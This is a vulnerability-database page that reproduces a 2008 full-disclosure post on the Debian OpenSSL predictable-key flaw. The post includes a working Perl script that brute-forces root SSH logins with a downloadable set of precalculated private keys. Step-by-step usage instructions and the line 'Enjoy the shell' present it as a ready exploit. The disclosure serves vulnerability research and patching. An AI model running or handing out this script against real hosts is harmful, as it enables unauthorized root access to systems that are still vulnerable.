Lucene search
K

debian-sploit.txt

🗓️ 15 May 2008 00:00:00Reported by Markus MuellerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

The debian openssl issue allows brute force ssh login using precalculated keys on unpatched systems

Code
`Hi full-disclosure,  
  
the debian openssl issue leads that there are only 65.536 possible ssh   
keys generated, cause the only entropy is the pid of the process   
generating the key.  
  
This leads to that the following perl script can be used with the   
precalculated ssh keys to brute force the ssh login. It works if such a   
keys is installed on a non-patched debian or any other system manual   
configured to.  
  
On an unpatched system, which doesn't need to be debian, do the following:  
  
1. Download http://www.deadbeef.de/rsa.2048.tar.bzip2  
  
2. Extract it to a directory  
  
3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048   
Bits, generated on an upatched debian (this is the key this exploit will   
break)  
  
4. Run the perl script and give it the location to where you extracted   
the bzip2 mentioned.  
  
#!/usr/bin/perl  
my $keysPerConnect = 6;  
unless ($ARGV[1]) {  
print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";  
print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";  
print "By [email protected]\n";  
exit 0;  
}  
chdir($ARGV[0]);  
opendir(A, $ARGV[0]) || die("opendir");  
while ($_ = readdir(A)) {  
chomp;  
next unless m,^\d+$,;  
push(@a, $_);  
if (scalar(@a) > $keysPerConnect) {  
system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i   
".$_ } @a)." ".$ARGV[1]);  
@a = ();  
}  
}  
  
5. Enjoy the shell after some minutes (less than 20 minutes)  
  
Regards,  
Markus Mueller  
[email protected]  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 May 2008 00:00Current
7.4High risk
Vulners AI Score7.4
17